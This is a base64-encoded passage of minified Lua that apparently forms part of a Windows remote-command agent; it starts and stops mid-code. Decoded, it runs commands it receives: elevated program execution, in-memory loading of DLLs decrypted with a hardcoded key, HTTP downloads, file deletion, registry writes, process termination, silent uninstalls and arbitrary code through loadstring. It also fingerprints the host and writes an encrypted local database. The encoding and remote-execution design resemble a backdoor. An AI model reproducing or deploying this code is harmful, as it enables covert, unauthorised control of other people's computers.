cnMoaSlkbwppZiBpPT0iRGlzcGxheU5hbWUidGhlbgpsb2NhbCB0PVJlZ1F1ZXJ5VmFsdWVFeCh3
MzJbIkhLRVlfTE9DQUxfTUFDSElORSJdLHQuLiJcXCIuLm8saSk7CnQ9c3RyaW5nLmxvd2VyKHQ6
Z3N1YigiICIsIiIpKTsKYT1zdHJpbmcubG93ZXIoYTpnc3ViKCIgIiwiIikpOwppZiBzdHJpbmcu
ZmluZCh0LGEpdGhlbgplWyJyZXN1bHQiXT0iMSI7CmVbInN0YXR1cyJdPSIxIjsKYnJlYWs7CmVu
ZAplbmQKZW5kCmVuZAplbmQKZW5kCmVuZAplbmQKbz10cnVlOwppZiBlWyJyZXN1bHQiXT09IjEi
dGhlbgppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iU3RvcCJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNm
aWVkLCBTdG9wcGluZyIpOwplWyJzdGF0dXMiXT0iMCI7Cm89ZmFsc2U7CmVsc2VpZiBlWyJ0eHRX
aGF0VGhlbiJdPT0iR290byJ0aGVuCnQuZGVidWcoIlRoZW4gU2F0aXNmaWVkLCBHb2luZyB0byAi
KTsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJDb250aW51ZSJ0aGVuCnQuZGVidWcoIlRoZW4g
U2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbHNlCmlmIGVbInR4dFdoYXRFbHNlIl09PSJT
dG9wInRoZW4KdC5kZWJ1ZygiRWxzZSBTYXRpc2ZpZWQsIFN0b3BwaW5nIik7CmVbInN0YXR1cyJd
PSIwIjsKbz1mYWxzZTsKZWxzZWlmIGVbInR4dFdoYXRFbHNlIl09PSJHb3RvInRoZW4KZVsic3Rh
dHVzIl09IjEiOwp0LmRlYnVnKCJFbHNlIFNhdGlzZmllZCwgR29pbmcgdG8gIik7CmVsc2VpZiBl
WyJ0eHRXaGF0RWxzZSJdPT0iQ29udGludWUidGhlbgplWyJzdGF0dXMiXT0iMSI7CnQuZGVidWco
IkVsc2UgU2F0aXNmaWVkLCBDb250aW51aW5nIik7CmVuZAplbmQKZW5kCmlmIGVbInR4dGNtZCJd
PT0iRG8idGhlbgpsb2NhbCBhPXQuY3VzdG9tcyhlWyJ0eHRXaGF0Il0pOwppZiBlWyJ0eHRkbyJd
PT0iRXhlY3V0ZSJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRXhlY3V0aW5nOiAlcyB3aXRo
ICVzIixhLGVbInR4dFdoYXRUaGVuIl0pKTsKaWYgZVsidHh0V2hhdFRoZW4iXT09IkxvY2FsIFN5
c3RlbSJ0aGVuCnQuZXhlY3V0ZShhKTsKZWxzZQppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iSW1wZXJz
b25hdGlvbiBhbmQgRWxldmF0aW9uInRoZW4KdC5leGVjdXRlKGEsdHJ1ZSx0cnVlKTsKZWxzZQp0
LmV4ZWN1dGUoYSx0cnVlLGZhbHNlKTsKZW5kCmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsK
ZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZVsicmVzdWx0Il09IjEiOwplbHNlaWYgZVsidHh0ZG8iXT09
IkRMTCJ0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRExMIFNpemU6ICVzIHZpYSAlcyIsc3Ry
aW5nLmxlbihhKSxlWyJ0eHRXaGF0VGhlbiJdKSk7CmlmIGVbInR4dFdoYXRUaGVuIl09PSJNZW1v
cnkidGhlbgphPUVuY3J5cHQoYSwiYzIyZGY3MTQ2YjU0NGI1ZGFjYWNmYWJmMzdiZmQyNjRiZmIw
Zjg5NTNlMTQ0NDZhYmIwYjE5OGRmNDU0YzllYyIpOwpMb2FkRnJvbU1lbW9yeShhKTsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT0i
MSI7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRmlsZSJ0aGVuCmlmIGVbInR4dFdoYXRUaGVuIl09PSJE
ZWxldGUidGhlbgppZiBEZWxldGVGaWxlKGEpdGhlbgplWyJyZXN1bHQiXT0iZmlsZSBkZWxldGVk
IjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwpl
bmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJSZWFkInRoZW4KY29udGVudHM9dC5yZWFkZmls
ZShhKTsKaWYgY29udGVudHMgdGhlbgppZiBlWyJ0eHRXaGF0RWxzZSJdPT0iYXMgUHJvY2Vzc2xp
c3QidGhlbgpsaW5lcz10LnNwbGl0KGNvbnRlbnRzLCJcclxuIik7CmRhdGE9e30KZm9yIG8sYSBp
biBpcGFpcnMobGluZXMpZG8KY3N2PXQuc3BsaXQoYSwiLCIpOwppZiBjc3ZbM110aGVuCmRhdGE9
c3RyaW5nLmZvcm1hdCgneyJuYW1lIjolcywidHlwZSI6JXN9Jyxjc3ZbMV0sY3N2WzNdKTsKZVsi
cmVzdWx0Il09KGVbInJlc3VsdCJdKWFuZCBlWyJyZXN1bHQiXS4uIiwiLi5kYXRhIG9yIGRhdGE7
CmVuZAplbmQKZW5kCmVuZAppZiBub3QgZVsicmVzdWx0Il10aGVuCmVbInJlc3VsdCJdPSJlcnJv
ciByZWFkaW5nIGZpbGUiCmVsc2UKZVsicmVzdWx0Il09IlsiLi5lWyJyZXN1bHQiXS4uIl0iOwpl
bmQKZW5kCm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNl
aWYgZVsidHh0ZG8iXT09IlRlcm1pbmF0ZSJ0aGVuCmlmIElzUHJvY2Vzc1J1bm5pbmcoYSx0cnVl
KXRoZW4KdC5kZWJ1ZygiVGVybWluYXRpbmc6ICIuLmEpOwplWyJyZXN1bHQiXT0iMSI7CmVsc2UK
dC5kZWJ1ZygiRmFpbGVkIHRvIFRlcm1pbmF0ZTogIi4uYSk7CmVbInJlc3VsdCJdPSIwIjsKZW5k
Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsi
dHh0ZG8iXT09IlVuaW5zdGFsbCJ0aGVuCmxvY2FsIG89e307Cm9bMV09IlNPRlRXQVJFXFxXb3c2
NDMyTm9kZVxcTWljcm9zb2Z0XFxXaW5kb3dzXFxDdXJyZW50VmVyc2lvblxcVW5pbnN0YWxsIjsK
b1syXT0iU09GVFdBUkVcXE1pY3Jvc29mdFxcV2luZG93c1xcQ3VycmVudFZlcnNpb25cXFVuaW5z
dGFsbCI7CmVbInJlc3VsdCJdPSIwIjsKZm9yIG8saSBpbiBwYWlycyhvKWRvCmxvY2FsIG89UmVn
RW51bUtleUV4KHczMlsiSEtFWV9MT0NBTF9NQUNISU5FIl0saSk7CmlmIHR5cGUobyk9PSJ0YWJs
ZSJ0aGVuCmZvciBvLG4gaW4gcGFpcnMobylkbwpsb2NhbCBvPVJlZ0VudW1WYWx1ZSh3MzJbIkhL
RVlfTE9DQUxfTUFDSElORSJdLGkuLiJcXCIuLm4pOwppZiB0eXBlKG8pPT0idGFibGUidGhlbgpm
b3IgcyxvIGluIHBhaXJzKG8pZG8KaWYgbz09IkRpc3BsYXlOYW1lInRoZW4KbG9jYWwgbz1SZWdR
dWVyeVZhbHVlRXgodzMyWyJIS0VZX0xPQ0FMX01BQ0hJTkUiXSxpLi4iXFwiLi5uLG8pOwppZiBz
dHJpbmcuZmluZChvLGEpdGhlbgpvPVJlZ1F1ZXJ5VmFsdWVFeCh3MzJbIkhLRVlfTE9DQUxfTUFD
SElORSJdLGkuLiJcXCIuLm4sIlVuaW5zdGFsbFN0cmluZyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJd
fj1uaWwgdGhlbgpsb2NhbCBlPXN0cmluZy5mb3JtYXQoIiVzICVzIix0cmltKG8pLGVbInR4dFdo
YXRUaGVuIl0pOwpvPWU7CmVuZAp0LmRlYnVnKCJVbmluc3RhbGxpbmc6ICIuLm8pOwp0LmV4ZWN1
dGUobyx0cnVlKTsKZVsicmVzdWx0Il09IjEiOwpicmVhazsKZW5kCmVuZAplbmQKZW5kCmVuZApl
bmQKZW5kCmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUoKTsKZWxzZWlmIGVbInR4
dGRvIl09PSJXYWl0InRoZW4KbG9jYWwgYT10b251bWJlcihhKTsKaWYgYT09bmlsIHRoZW4KYT0x
MDsKZW5kCmVbInR4dFdoYXQiXT1hOwplWyJyZXN1bHQiXT0oZVsicmVzdWx0Il09PW5pbCBvciBl
WyJyZXN1bHQiXT09IiIpYW5kIG9zLnRpbWUoKW9yIGVbInJlc3VsdCJdOwppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iTWludXRlcyJ0aGVuCmE9YSo2MDsKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJI
b3VycyJ0aGVuCmE9YSozNjAwOwplbHNlaWYgZVsidHh0V2hhdFRoZW4iXT09IkRheXMidGhlbgph
PWEqODY0MDA7CmVsc2UKaWYgYTwzMCB0aGVuCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiV2FpdGlu
ZzogJXMiLGEpKTsKaWYgU2xlZXAgdGhlbgpTbGVlcCgoYSsxKSoxZTMpOwplbHNlCnQuc2xlZXAo
KGErMSkqMWUzKTsKZW5kCmVuZAplbmQKbG9jYWwgaT1vcy50aW1lKCktdG9udW1iZXIoZVsicmVz
dWx0Il0pOwppZiBpPmEgdGhlbgplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7
Cm89dHJ1ZTsKZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIldhaXRpbmcgJXMgd2l0aCAlcyBy
ZW1haW5pbmciLGEsKGEtaSkpKTsKZW5kCmVsc2VpZiBlWyJ0eHRkbyJdPT0iUGluZyJ0aGVuCmE9
YTpnc3ViKCIgIiwiKyIpOwppZiBlWyJ0eHRXaGF0VGhlbiJdPT0iUE9TVCJ0aGVuCmxvY2FsIGU9
c3RyaW5nLmZpbmQoYSwiPyIpOwppZiBlIHRoZW4KbG9jYWwgbz1hOnN1YihlKzEsI2EpOwphPWE6
c3ViKDEsZS0xKTsKdC5kZWJ1ZygiUGluZ2luZyAiLi5hLi4iIHdpdGg6ICIuLm8pOwpuPXMucmVx
dWVzdChhLG8pOwplbmQKZWxzZQp0LmRlYnVnKCJQaW5naW5nOiAiLi5hKTsKbj1zLnJlcXVlc3Qo
YSk7CmVuZApuPXRyaW0odG9zdHJpbmcobikpOwp0LmRlYnVnKCJQaW5nIHJlc3VsdDogIi4ubik7
Cm89dHJ1ZTsKZVsicmVzdWx0Il09bjsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGlt
ZSgpOwplbHNlaWYgZVsidHh0ZG8iXT09IlNlcnZpY2UidGhlbgpsb2NhbCB0PXQucXVlcnlzZXJ2
aWNlKGEsNCk7CmVbInJlc3VsdCJdPSIiOwppZiB0IHRoZW4KZVsicmVzdWx0Il09dDsKZW5kCm89
dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRlIl09b3MudGltZSgpOwplbHNlaWYgZVsidHh0
ZG8iXT09IkRlYnVnInRoZW4KdC5kZWJ1ZyhhKTsKbz10cnVlOwplWyJzdGF0dXMiXT0iMCI7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iRFhEaWFnInRoZW4KbG9jYWwg
YT10LmR4ZGlhZyhhLGVbInR4dFdoYXRUaGVuIl0pOwplWyJyZXN1bHQiXT0iIjsKaWYgYX49bmls
IHRoZW4KaWYgYVtzdHJpbmcubG93ZXIoZVsidHh0V2hhdEVsc2UiXSldfj1uaWwgdGhlbgplWyJy
ZXN1bHQiXT1hW3N0cmluZy5sb3dlcihlWyJ0eHRXaGF0RWxzZSJdKV07CnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiRFhEaWFnIFJlc3VsdDogJXMiLGVbInJlc3VsdCJdKSk7CmVuZAplbmQKbz10cnVl
OwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJd
PT0iRG93bmxvYWQidGhlbgpsb2NhbCBpPXQuY3VzdG9tcyhlWyJ0eHRXaGF0VGhlbiJdKTsKaWYg
aX49IiJ0aGVuCmxvY2FsIG49dC5maWxlcGFydHMoaSk7CmlmIG5+PW5pbCB0aGVuCkNyZWF0ZURp
cmVjdG9yeShuKTsKZW5kCnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgJXMgdG8gJXMi
LGEsaSkpOwplWyJzdGF0dXMiXT0iMSI7CmlmIHQuZ2V0YnlodHRwKGEsaSl0aGVuCnQuZGVidWco
c3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgc3VjY2Vzc2Z1bCIsYSkpOwpvPXRydWU7CmVb
ImRhdGUiXT1vcy50aW1lKCk7CmVbInJlc3VsdCJdPSIxIjsKZWxzZQplWyJyZXN1bHQiXT0iMCI7
CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdW5zdWNjZXNzZnVsIixhKSk7
CmVuZAplbHNlCmxvY2FsIGksbj10LmdldGJ5aHR0cChhKTsKaWYgaSB0aGVuCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiRG93bmxvYWQgb2YgJXMgdG8gbWVtb3J5IHN1Y2Nlc3NmdWwiLGEpKTsKbz10
cnVlOwplWyJkYXRlIl09b3MudGltZSgpOwplWyJyZXN1bHQiXT1uOwplWyJzdGF0dXMiXT0iMSI7
CmVuZAplbmQKZWxzZWlmIGVbInR4dGRvIl09PSJEaXJlY3RvcnkidGhlbgppZiBDcmVhdGVEaXJl
Y3RvcnkoYSl+PTAgdGhlbgplWyJyZXN1bHQiXT0iMCI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgi
RGlyZWN0b3J5ICVzIGNyZWF0ZWQgc3VjY2Vzc2Z1bGx5IixhKSk7CmVsc2UKZVsicmVzdWx0Il09
R2V0TGFzdEVycm9yKCk7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiRGlyZWN0b3J5ICVzIGNyZWF0
ZWQgdW5zdWNjZXNzZnVsbHkgKCVzKSIsYSxHZXRMYXN0RXJyb3IoKSkpOwplbmQKbz10cnVlOwpl
WyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0i
RGVsZXRlIEZpbGUidGhlbgp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIkF0dGVtcHRpbmcgdG8gZGVs
ZXRlICVzIixhKSk7CmlmIERlbGV0ZUZpbGUoYSl0aGVuCmVbInJlc3VsdCJdPSIxIjsKdC5kZWJ1
ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHN1Y2Nlc3NmdWxseSIsYSkpOwplbHNlCmVbInJl
c3VsdCJdPSIwIjsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJEZWxldGVkICVzIHVuc3VjY2Vzc2Z1
bGx5IixhKSk7CmVuZApvPXRydWU7CmVbInN0YXR1cyJdPSIxIjsKZVsiZGF0ZSJdPW9zLnRpbWUo
KTsKZWxzZWlmIGVbInR4dGRvIl09PSJSZWdpc3RyeSJ0aGVuCmxvY2FsIGk9dC5zcGxpdChhLCIs
Iik7CmVbInJlc3VsdCJdPSIwIjsKaWYgdzMyW2lbMV1dfj1uaWwgdGhlbgppZiBlWyJ0eHRXaGF0
VGhlbiJdPT0iV3JpdGUgVmFsdWUidGhlbgpsb2NhbCBvPShpWzRdPT0iZCIpYW5kIHRvbnVtYmVy
KGlbNV0pb3IgaVs1XTsKaWYgUmVnU2V0VmFsdWVFeCh3MzJbaVsxXV0saVsyXSxpWzNdLG8pdGhl
bgplWyJyZXN1bHQiXT0iMSI7CnQuZGVidWcoc3RyaW5nLmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMg
PSAlcyBTdWNjZXNzIixlWyJ0eHRXaGF0VGhlbiJdLGEsbykpOwplbHNlCnQuZGVidWcoc3RyaW5n
LmZvcm1hdCgiUmVnaXN0cnkgJXMgJXMgPSAlcyBGYWlsdXJlIixlWyJ0eHRXaGF0VGhlbiJdLGEs
bykpOwplbmQKZWxzZWlmIGVbInR4dFdoYXRUaGVuIl09PSJRdWVyeSBWYWx1ZSJ0aGVuCmxvY2Fs
IG89UmVnUXVlcnlWYWx1ZUV4KHczMltpWzFdXSxpWzJdLGlbM10pOwppZiBvIHRoZW4KZVsicmVz
dWx0Il09bzsKdC5kZWJ1ZyhzdHJpbmcuZm9ybWF0KCJSZWdpc3RyeSBWYWx1ZTogJXMiLG8pKTsK
ZWxzZQp0LmRlYnVnKHN0cmluZy5mb3JtYXQoIlJlZ2lzdHJ5IEVycm9yICVzICVzICVzIixHZXRM
YXN0RXJyb3IoKSxlWyJ0eHRXaGF0VGhlbiJdLGEpKTsKZW5kCmVuZAplbHNlCnQuZGVidWcoc3Ry
aW5nLmZvcm1hdCgiUmVnaXN0cnkgRXJyb3IgJXMgJXMiLGVbInR4dFdoYXRUaGVuIl0sYSkpOwpl
bmQKbz10cnVlOwplWyJzdGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVuZAplbmQK
aWYgZVsidHh0Y21kIl09PSJXaWxmb3JkInRoZW4KbG9jYWwgYT10LmN1c3RvbXMoZVsidHh0V2hh
dCJdKTsKaWYgZVsidHh0ZG8iXT09IlJ1biJ0aGVuCmxvY2FsIHQ9bG9hZHN0cmluZyhhKTsKaWYg
dHlwZSh0KT09ImZ1bmN0aW9uInRoZW4KZVsicmVzdWx0Il09dCgpOwplbmQKbz10cnVlOwplWyJz
dGF0dXMiXT0iMSI7CmVbImRhdGUiXT1vcy50aW1lKCk7CmVsc2VpZiBlWyJ0eHRkbyJdPT0iSW5j
bHVkZSJ0aGVuCmVbInJlc3VsdCJdPWE7Cm89dHJ1ZTsKZVsic3RhdHVzIl09IjEiOwplWyJkYXRl
Il09b3MudGltZSgpOwplbHNlCmVbInN0YXR1cyJdPSIwIjsKZW5kCmVuZApyZXR1cm4gZSxvOwpl
bmQKZnVuY3Rpb24gdC51c2VyZ3VpZCgpCmxvY2FsIGU9R2V0Vm9sdW1lSW5mb3JtYXRpb24oKTsK
bG9jYWwgYT1HZXRNQUNBZGRyZXNzKCk7CmxvY2FsIHQ9R2V0VGhlTWFjaGluZU5hbWUoKTsKbG9j
YWwgZT1HZXRNRDVTdHJpbmcoc3RyaW5nLmZvcm1hdCgiJXM6JXM6JXMiLHRvc3RyaW5nKGUpLHRv
c3RyaW5nKGEpLHRvc3RyaW5nKHQpKSk7CmlmIGU9PW5pbCB0aGVuCmU9R2V0TUQ1U3RyaW5nKEdl
dEN1cnJlbnRVc2VyU2lkKCkpOwplbmQKcmV0dXJuIHN0cmluZy5mb3JtYXQoIiVzLSVzLSVzLSVz
LSVzIixlOnN1YigxLDgpLGU6c3ViKDksMTIpLGU6c3ViKDEzLDE2KSxlOnN1YigxNywyMCksZTpz
dWIoMjEpKTsKZW5kCmZ1bmN0aW9uIHQuc2F2ZWRiKGUpCmU9KEVuY3J5cHQpYW5kIEVuY3J5cHQo
ZSwibGFxdWFuZGEgd2F0a2lucyIpb3IgdC5lbmNyeXB0KGUsImxhcXVhbmRhIHdhdGtpbnMiKTsK
aWYgU2V0Q29tbWFuZHN+PW5pbCB0aGVuClNldENvbW1hbmRzKGUpOwplbHNlCmxvY2FsIGE9KHcz
MiBhbmQgdzMyWyJDUkVBVEVfQUxXQVlTIl0pYW5kIHczMlsiQ1JFQVRFX0FMV0FZUyJdb3IgMDsK
aWYgRmluZEZpcnN0RmlsZSB0aGVuCmR3UmVzdWx0LHRGaWxlSW5mbz1GaW5kRmlyc3RGaWxlKHN0
cmluZy5mb3JtYXQoIiVzbHF3ZGIuZGF0Iix0LnRlbXBwYXRoKCkpKTsKaWYgZHdSZXN1bHR+PTAg
dGhlbgphPXczMlsiVFJVTkNBVEVfRVhJU1RJTkciXTsKRmluZENsb3NlKGR3UmVzdWx0KTsKZW5k
CmVuZApsb2NhbCBlPShlfj1uaWwpYW5kIHQud3JpdGVmaWxlKHN0cmluZy5mb3JtYXQoIiVzbHF3
ZGIuZGF0Iix0LnRlbXBwYXRoKCkpLGUsYSlvciAwOwppZiBlPjAgdGhlbgp0LmRlYnVnKCJMb2Nh
bCBEQiBXcml0dGVuOiAiLi5lKTsKZWxzZQpsb2NhbCBlPShHZXRMYXN0RXJyb3IpYW5kIEdldExh
c3RFcnJvcigpb3IiMCI7CnQuZGVidWcoIkxvY2FsIERCIE5vdCBXcml0dGVuOiAiLi5lKTsKZW5k
CmVuZAplbmQKZnVuY3Rpb24gdC5keGRpYWcoZSxuKQppZiBub3QgZSBvciBub3QgbiB0aGVuCnJl
dHVybiBuaWw7CmVuZApsb2NhbCBlPXQucmVhZGZpbGUoZSk7CmxvY2FsIGk9e307CmlmIGUgdGhl
bgpsaW5lcz10LnNwbGl0KGUsIlxyXG4iKTsKbG9jYWwgbz10cnVlOwpsb2NhbCB0PWZhbHNlOwps
b2NhbCBhPTA7CmZvciBzLGUgaW4gaXBhaXJzKGxpbmVzKWRvCmlmIG89PXRydWUgdGhlbgp0PXN0
cmluZy5maW5kKGUsbik7CmVsc2UKdD1mYWxzZTsKZW5kCmlmIHQgdGhlbgpvPWZhbHNlOwplbmQK
aWYgbz09ZmFsc2UgdGhlbgppZiBzdHJpbmcuZmluZChlLCIlLSUtJS0iKXRoZW4KYT1hKzE7Cmlm
IGE+MSB0aGVuCmJyZWFrOwplbmQKZWxzZQppZiBzdHJpbmcubGVuKGUpPjAgdGhlbgpsb2NhbCBv
PTA7CmxvY2FsIHQ9IiI7CmZvciBhPTEsI2UgZG8KaWYgZTpzdWIoYSxhKT09IjoidGhlbgpvPW8r
MTsKaWYgbz09MSB0aGVuCnQ9dC4uIjoiOwplbmQKZWxzZQp0PXQuLmU6c3ViKGEsYSk7CmVuZApl
bmQKZT10Owpmb3IgZSx0IGluIHN0cmluZy5nbWF0Y2goZSwiKC4rKTogKC4rKSIpZG8KaVtzdHJp
bmcubG93ZXIodHJpbShlKSldPXQ7CmVuZAplbmQKZW5kCmVuZAplbmQKZW5kCnJldHVybiBpOwpl
bmQKZnVuY3Rpb24gdC5lbmNyeXB0KG8saSkKbG9jYWwgdD0iIjsKaWYgaSBhbmQgbyB0aGVuCmxv
Y2FsIGE9bWF0aC5mbG9vcgpsb2NhbCBlPTA7CmZvciBuPTEsI28gZG8KZT0oZT4jaS0xKWFuZCAx
IG9yKGUrMSk7CmxvY2FsIG89c3RyaW5nLmJ5dGUobyxuKTsKbG9jYWwgZT1zdHJpbmcuYnl0ZShp
LGUpOwpsb2NhbCBpPTA7CmZvciBuPTAsMzEgZG8KbG9jYWwgdD1vLzIrZS8yCmlmIHR+PWEodCl0
aGVuCmk9aSsyXm4KZW5kCm89YShvLzIpCmU9YShlLzIpCmVuZAp0PXQuLnN0cmluZy5jaGFyKGkp
OwplbmQKZW5kCnJldHVybiB0OwplbmQKZnVuY3Rpb24gdC50cmltKGUpCnJldHVybiBlOm1hdGNo
J14lcyooLiolUyknb3InJwplbmQKZnVuY3Rpb24gdC5zbGVlcChlKQppZiB0eXBlKGUpPT0ibnVt
YmVyInRoZW4KZT0oZS8xZTMpOwplbmQKbG9jYWwgdD1vcy5jbG9jazsKbG9jYWwgYT10KCk7Cndo
aWxlIHQoKS1hPD1lIGRvCmVuZAplbmQKZnVuY3Rpb24gdC5uZXcoZSkKcmV0dXJuIHNldG1ldGF0
YWJsZSh7YXJncz1lIG9yIG5pbH0sZCk7CmVuZApyZXR1cm4gdDtlbmQpCnBhY2thZ2UucHJlbG9h
ZFsnc29ja2V0J109KGZ1bmN0aW9uKC4uLikKbG9jYWwgZT1fRwpsb2NhbCBoPXJlcXVpcmUoInN0
cmluZyIpCmxvY2FsIHM9cmVxdWlyZSgibWF0aCIpCmxvY2FsIGE9cmVxdWlyZSgic29ja2V0LmNv
cmUiKQptb2R1bGUoInNvY2tldCIpCmZ1bmN0aW9uIGNvbm5lY3QoaSxuLHQsbykKbG9jYWwgZSxh
PWEudGNwKCkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLGEgZW5kCmlmIHQgdGhlbgpsb2NhbCBl
LHQ9ZTpiaW5kKHQsbywtMSkKaWYgbm90IGUgdGhlbiByZXR1cm4gbmlsLHQgZW5kCmVuZApsb2Nh
bCB0LGE9ZTpjb25uZWN0KGksbikKaWYgbm90IHQgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnJldHVy
biBlCmVuZApmdW5jdGlvbiBiaW5kKGksbixvKQpsb2NhbCBlLHQ9YS50Y3AoKQppZiBub3QgZSB0
aGVuIHJldHVybiBuaWwsdCBlbmQKZTpzZXRvcHRpb24oInJldXNlYWRkciIsdHJ1ZSkKbG9jYWwg
YSx0PWU6YmluZChpLG4pCmlmIG5vdCBhIHRoZW4gcmV0dXJuIG5pbCx0IGVuZAphLHQ9ZTpsaXN0
ZW4obykKaWYgbm90IGEgdGhlbiByZXR1cm4gbmlsLHQgZW5kCnJldHVybiBlCmVuZAp0cnk9bmV3
dHJ5KCkKZnVuY3Rpb24gY2hvb3NlKG8pCnJldHVybiBmdW5jdGlvbih0LGEsaSkKaWYgZS50eXBl
KHQpfj0ic3RyaW5nInRoZW4KdCxhLGk9ImRlZmF1bHQiLHQsYQplbmQKbG9jYWwgbz1vW3Qgb3Ii
bmlsIl0KaWYgbm90IG8gdGhlbiBlLmVycm9yKCJ1bmtub3duIGtleSAoIi4uZS50b3N0cmluZyh0
KS4uIikiLDMpCmVsc2UgcmV0dXJuIG8oYSxpKWVuZAplbmQKZW5kCnNvdXJjZXQ9e30Kc2lua3Q9
e30KQkxPQ0tTSVpFPTIwNDgKc2lua3RbImNsb3NlLXdoZW4tZG9uZSJdPWZ1bmN0aW9uKHQpCnJl
dHVybiBlLnNldG1ldGF0YWJsZSh7CmdldGZkPWZ1bmN0aW9uKClyZXR1cm4gdDpnZXRmZCgpZW5k
LApkaXJ0eT1mdW5jdGlvbigpcmV0dXJuIHQ6ZGlydHkoKWVuZAp9LHsKX19jYWxsPWZ1bmN0aW9u
KGEsZSxhKQppZiBub3QgZSB0aGVuCnQ6Y2xvc2UoKQpyZXR1cm4gMQplbHNlIHJldHVybiB0OnNl
bmQoZSllbmQKZW5kCn0pCmVuZApzaW5rdFsia2VlcC1vcGVuIl09ZnVuY3Rpb24odCkKcmV0dXJu
IGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQsCmRp
cnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oYSxl
LGEpCmlmIGUgdGhlbiByZXR1cm4gdDpzZW5kKGUpCmVsc2UgcmV0dXJuIDEgZW5kCmVuZAp9KQpl
bmQKc2lua3RbImRlZmF1bHQiXT1zaW5rdFsia2VlcC1vcGVuIl0Kc2luaz1jaG9vc2Uoc2lua3Qp
CnNvdXJjZXRbImJ5LWxlbmd0aCJdPWZ1bmN0aW9uKG8sdCkKcmV0dXJuIGUuc2V0bWV0YXRhYmxl
KHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiBvOmdldGZkKCllbmQsCmRpcnR5PWZ1bmN0aW9uKCly
ZXR1cm4gbzpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24oKQppZiB0PD0wIHRoZW4gcmV0
dXJuIG5pbCBlbmQKbG9jYWwgZT1zLm1pbihhLkJMT0NLU0laRSx0KQpsb2NhbCBlLGE9bzpyZWNl
aXZlKGUpCmlmIGEgdGhlbiByZXR1cm4gbmlsLGEgZW5kCnQ9dC1oLmxlbihlKQpyZXR1cm4gZQpl
bmQKfSkKZW5kCnNvdXJjZXRbInVudGlsLWNsb3NlZCJdPWZ1bmN0aW9uKHQpCmxvY2FsIG8KcmV0
dXJuIGUuc2V0bWV0YXRhYmxlKHsKZ2V0ZmQ9ZnVuY3Rpb24oKXJldHVybiB0OmdldGZkKCllbmQs
CmRpcnR5PWZ1bmN0aW9uKClyZXR1cm4gdDpkaXJ0eSgpZW5kCn0sewpfX2NhbGw9ZnVuY3Rpb24o
KQppZiBvIHRoZW4gcmV0dXJuIG5pbCBlbmQKbG9jYWwgaSxlLGE9dDpyZWNlaXZlKGEuQkxPQ0tT
SVpFKQppZiBub3QgZSB0aGVuIHJldHVybiBpCmVsc2VpZiBlPT0iY2xvc2VkInRoZW4KdDpjbG9z
ZSgpCm89MQpyZXR1cm4gYQplbHNlIHJldHVybiBuaWwsZSBlbmQKZW5kCn0pCmVuZApzb3VyY2V0
WyJkZWZhdWx0Il09c291cmNldFsidW50aWwtY2xvc2VkIl0Kc291cmNlPWNob29zZShzb3VyY2V0
KQplbmQpCnBhY2thZ2UucHJlbG9hZFsnc29ja2V0LnVybCddPShmdW5jdGlvbiguLi4pCmxvY2Fs
IGU9cmVxdWlyZSgic3RyaW5nIikKbG9jYWwgbz1fRwpsb2NhbCBpPXJlcXVpcmUoInRhYmxlIikK
